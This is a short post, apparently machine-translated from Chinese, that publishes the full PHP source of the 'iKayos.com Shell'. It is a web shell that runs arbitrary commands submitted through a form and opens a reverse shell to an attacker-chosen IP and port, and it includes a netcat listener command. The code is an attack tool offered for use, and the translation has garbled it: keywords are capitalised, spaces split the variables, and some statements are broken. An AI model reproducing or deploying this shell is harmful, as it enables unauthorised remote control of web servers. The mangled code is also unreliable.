IKayos.com Shell

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One day, I went to mi and watched exp go to an organization and register it.

E. It took me a lot of time, but it was still a bit rewarding. It is found that the difference between foreign countries and China is really far away

Microsoft's scripting language is not widely used in other countries .. I went to study php. I don't feel the tools.

IKayos.com Shell:

<? Php
Function realip ()
{
If (! Empty ($ _ SERVER [HTTP_CLIENT_IP])
{
$ Ip = $ _ SERVER [HTTP_CLIENT_IP];
}
Elseif (! Empty ($ _ SERVER [HTTP_X_FORWARDED_FOR])
{
$ Ip = $ _ SERVER [HTTP_X_FORWARDED_FOR];
}
Else
{
$ Ip = $ _ SERVER [REMOTE_ADDR];
}
Return $ ip;
}
Function printit ($ string ){
If (! $ Daemon ){
Print "$ string ";
}
}
If (stristr (PHP_ OS, WIN )){
$ Win = true;
} Else {
$ Win = false;
}
$ Ip = $ _ SERVER [SERVER_ADDR];
$ Name = $ _ SERVER [SERVER_NAME];
Echo "<font color = #00FF55> ";
Echo ($ name. "-". $ ip ."-");
Echo (php_uname ());
Echo "</font> ";
Echo ("<title> $ name-$ ip-iKayos.com Shell </title> ");
Echo If (! Empty ($ _ POST [cmd]) {
$ Cmd = $ _ POST [cmd];
Echo <pre>;
System ($ cmd, $ out );
Echo </pre>;
If (! Empty ($ out )){
If ($ out = 1 ){
Echo ("<font color = red> Something didnt work </font> ");
}
If ($ out = 127 ){
Echo ("<font color = red> Command not found </font> ");
}
If ($ out = 126 ){
Echo ("<font color = red> Command invoked cannot execute (Permissions ?) </Font> ");
}
}

}
?>
<Form method = POST>
<Input type = text size = 30 name = cmd/>
<Input type = submit value = Execute/>
</Form>
<? Php
$ Uip = realip ();
If ($ win = false ){
?>
<Form method = POST>
<Label for = "sip" style = "width: 35px; float: left;"> IP: </label> <input type = "text" size = "20" name = "sip" value = "<? Php echo ($ uip);?> "/> <Br/>
<Label for = "sport" style = "width: 35px; float: left;"> Port: </label> <input type = text size = 20 name = sport value = 4321/> <br/>
<Input type = submit value = Reverse Shell/> <br/>
</Form>
<A href = "#" onclick = "showhide (nc);"> NetCat Command </a> <br/>
<Div id = "nc" style = "display: none;"> nc-v-n-l-p PORT </div>
<? Php
}
If (! Empty ($ _ POST [sip]) and! Empty ($ _ POST [sport]) {
Set_time_limit (0 );
$ VERSION = "1.0 ";
$ Ip = $ _ POST [sip];
$ Port = $ _ POST [sport];
$ Chunk_size = 1400;
$ Write_a = null;
$ Error_a = null;
$ Shell = echo ------iKayos.com PHP Reverse Shell ------; uname-a;/bin/sh-I;
$ Daemon = 0;
$ Debug = 0;
If (function_exists (pcntl_fork )){
$ Pid = pcntl_fork ();
If ($ pid =-1 ){
Printit ("ERROR: Cant fork ");
Exit (1 );
}
If ($ pid ){
Exit (0 );
}
If (posix_setsid () =-1 ){
Printit ("Error: Cant setsid ()");
Exit (1 );
}
$ Daemon = 1;
} Else {
Printit ("WARNING: Failed to daemonise. This is quite common and not fatal. <br/> ");
}
Chdir ("/");
Umask (0 );
$ Sock = fsockopen ($ ip, $ port, $ errno, $ errstr, 30 );
If (! $ Sock ){
Printit ("$ errstr ($ errno )");
Exit (1 );
}
$ Descriptorspec = array (
0 => array ("pipe", "r "),
1 => array ("pipe", "w "),
2 => array ("pipe", "w ")
);
$ Process = proc_open ($ shell, $ descriptorspec, $ pipes );
If (! Is_resource ($ process )){
Printit ("ERROR: Cant spawn shell ");
Exit (1 );
}
Stream_set_blocking ($ pipes [0], 0 );
Stream_set_blocking ($ pipes [1], 0 );
Stream_set_blocking ($ pipes [2], 0 );
Stream_set_blocking ($ sock, 0 );
Printit ("Successfully opened reverse shell to $ ip: $ port <br/> ");
While (1 ){
If (feof ($ sock )){
Printit ("ERROR: Shell connection terminated ");
Break;
}
If (feof ($ pipes [1]) {
Printit ("ERROR: Shell process terminated ");
Break;
}
$ Read_a = array ($ sock, $ pipes [1], $ pipes [2]);
$ Num_changed_sockets = stream_select ($ read_a, $ write_a, $ error_a, null );
If (in_array ($ sock, $ read_a )){
If ($ debug) printit ("sock read ");
$ Input = fread ($ sock, $ chunk_size );
If ($ debug) printit ("SOCK: $ input ");
Fwrite ($ pipes [0], $ input );
}
If (in_array ($ pipes [1], $ read_a )){
If ($ debug) printit ("stdout read ");
$ Input = fread ($ pipes [1], $ chunk_size );
If ($ debug) printit ("STDOUT: $ input ");
Fwrite ($ sock, $ input );
}
If (in_array ($ pipes [2], $ read_a )){
If ($ debug) printit ("stderr read ");
$ Input = fread ($ pipes [2], $ chunk_size );
If ($ debug) printit ("STDERR: $ input ");
Fwrite ($ sock, $ input );
}
}
Fclose ($ sock );
Fclose ($ pipes [0]);
Fclose ($ pipes [1]);
Fclose ($ pipes [2]);
Proc_close ($ process );
}
Echo ("<p/> <small> Shell by <a href = http://iKayos.com/> Kayos </a> </small> ")
?>